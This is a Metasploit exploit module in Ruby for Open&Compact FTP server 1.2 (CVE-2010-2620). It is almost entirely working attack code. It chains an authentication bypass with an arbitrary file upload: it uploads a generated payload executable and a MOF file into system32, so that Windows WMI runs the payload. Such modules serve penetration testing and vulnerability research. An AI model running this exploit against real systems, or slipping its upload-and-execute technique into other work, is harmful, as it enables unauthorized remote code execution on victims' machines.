Open-FTPD 1.2 – Arbitrary File Upload (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Ftp include Msf::Exploit::Remote::TcpServer include Msf::Exploit::EXE include Msf::Exploit::WbemExec include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "Open-FTPD 1.2 Arbitrary File Upload", 'Description' => %q{ This module exploits multiple vulnerabilities found in Open&Compact FTP server. The software contains an authentication bypass vulnerability and a arbitrary file upload vulnerability that allows a remote attacker to write arbitrary files to the file system as long as there is at least one user who has permission. Code execution can be achieved by first uploading the payload to the remote machine as an exe file, and then upload another mof file, which enables WMI (Management Instrumentation service) to execute the uploaded payload. Please note that this module currently only works for Windows before Vista. }, 'License' => MSF_LICENSE, 'Author' => [ 'Serge Gorbunov', # Initial discovery 'Brendan Coles <bcoles[at]gmail.com>', # Metasploit ], 'References' => [ ['OSVDB', '65687'], ['EDB', '13932'], ['CVE', '2010-2620'] ], 'Payload' => { 'BadChars' => "\x00", }, 'Platform' => 'win', 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => [ # Tested on version 1.2 - Windows XP SP3 (EN) ['Open&Compact FTP 1.2 on Windows (Before Vista)', {}] ], 'Privileged' => true, 'DisclosureDate' => "Jun 18 2012", 'DefaultTarget' => 0)) register_options([ OptString.new('PATH', [true, 'The local Windows path', "C:/WINDOWS/"]), OptPort.new('SRVPORT', [true, 'The local port to listen on for active mode', 8080]) ], self.class) deregister_options('FTPUSER', 'FTPPASS') # Using authentication bypass end def check connect disconnect if banner =~ /\*\* Welcome on \*\*/ return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Unknown end end def on_client_connect(cli) peer = "#{cli.peerhost}:#{cli.peerport}" case @stage when :exe print_status("#{peer} - Sending executable (#{@exe.length.to_s} bytes)") cli.put(@exe) @stage = :mof when :mof print_status("#{peer} - Sending MOF (#{@mof.length.to_s} bytes)") cli.put(@mof) end cli.close end # Largely stolen from freefloatftp_wbem.rb def upload(filename) select(nil, nil, nil, 1) peer = "#{rhost}:#{rport}" print_status("#{peer} - Trying to upload #{::File.basename(filename)}") conn = connect(false, datastore['VERBOSE']) if not conn fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed") end # Switch to binary mode print_status("#{peer} - Set binary mode") send_cmd(['TYPE', 'I'], true, conn) # Prepare active mode: Get attacker's IP and source port src_ip = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST'] src_port = datastore['SRVPORT'].to_i # Prepare active mode: Convert the IP and port for active mode src_ip = src_ip.gsub(/\./, ',') src_port = "#{src_port/256},#{src_port.remainder(256)}" # Set to active mode print_status("#{peer} - Set active mode \"#{src_ip},#{src_port}\"") send_cmd(['PORT', "#{src_ip},#{src_port}"], true, conn) # Tell the FTP server to download our file send_cmd(['STOR', filename], false, conn) print_good("#{peer} - Upload successful") disconnect(conn) end # Largely stolen from freefloatftp_wbem.rb def exploit path = datastore['PATH'] exe_name = "#{path}/system32/#{rand_text_alpha(rand(10)+5)}.exe" mof_name = "#{path}/system32/wbem/mof/#{rand_text_alpha(rand(10)+5)}.mof" @mof = generate_mof(::File.basename(mof_name), ::File.basename(exe_name)) @exe = generate_payload_exe @stage = :exe begin t = framework.threads.spawn("reqs", false) { # Upload our malicious executable u = upload(exe_name) # Upload the mof file upload(mof_name) if u register_file_for_cleanup("#{::File.basename(exe_name)}") register_file_for_cleanup("wbem\\mof\\good\\#{::File.basename(mof_name)}") } super ensure t.kill end end end |